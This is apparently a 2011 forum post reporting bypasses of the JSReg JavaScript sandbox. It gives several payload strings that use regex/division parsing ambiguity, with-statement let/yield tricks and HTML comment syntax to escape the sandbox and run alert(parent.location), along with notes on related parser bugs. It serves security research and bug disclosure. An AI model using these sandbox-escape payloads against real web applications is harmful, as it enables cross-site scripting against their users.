0?lo:/='/,alert(parent.location)//'
switch(1){case 1:{}/'lo/,alert(parent.location)}//'} // default:{} <-- the same
bugs:
1.
i=1;i++
{}
2. http://code.google.com/p/jsreg/source/browse/trunk/JSReg/JSReg.js#612
3. ~{}
----
// I stopped to think about it, but the ideas still come to me.
Preventing future bypasses via unsupported statements.
When browsers will implement ES6 features, it will open some holes in the JSReg's parser. To fix this it's necessary, for example, save the protection ('$') in names for 'correctedOutput'.
To test this right now on FF (2+) I changed one line of JSReg.
iframe.contentWindow.document.write('<script type="text/javascript">' + code + '<\/script>');
// to
iframe.contentWindow.document.write('<script type="application/javascript;version=1.7">' + code + '<\/script>');
Obviously , these features will be available for "text/javascript" type with time.
// FF
with({'let':function(){}})let(i=1)/'/;/*';alert(window[1<!--i),('location'
]);/lo*/
!function(){with({'yield':1})yield/'/;/*';alert(window[1<!--0[0]),('location'
]);/lo*/}()
Test: [
olo-olo-lo.narod.ru]
----
Quote
can you explain why this is a bug?
parseTree.push("RegExps(" + output + ")"); // <-- 'output' instead of 'regexOutput'. You've already corrected it.
----
Until the spring.
----------------------
~Veritas~
Edited 5 time(s). Last edit at 10/14/2011 06:31AM by LeverOne.